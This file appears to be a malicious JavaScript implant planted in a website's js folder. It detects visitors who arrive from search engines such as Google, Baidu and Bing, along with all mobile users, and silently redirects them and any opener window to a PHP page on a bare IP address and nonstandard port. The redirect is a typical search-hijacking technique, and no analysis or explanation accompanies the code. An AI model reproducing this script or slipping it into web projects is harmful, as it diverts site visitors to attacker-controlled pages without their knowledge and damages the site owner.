File: /www/wwwroot/xt021.com/js/qdj.js
var sp_regexps=/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./ig;
var sp_whereis=window.location.referrer;
try{sp_whereis=top.document.referrer;}catch(e){}
try{sp_whereis=window.parent.document.referrer;}catch(e){}
var sp_domains=window.location.host;
try{sp_domains=top.document.domain;}catch(e){}
try{sp_domains=window.parent.document.domain;}catch(e){}
if (sp_regexps.test(sp_whereis))
{
window.location.href="https://137.220.159.76:29999/gg802.php";
parent.window.opener.location = 'https://137.220.159.76:29999/gg802.php';
}
function browserRedirect() {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
var bIsMidp = sUserAgent.match(/midp/i) == "midp";
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM) )
{
}
else
{
window.location.href='https://137.220.159.76:29999/gg802.php';
}
}
browserRedirect();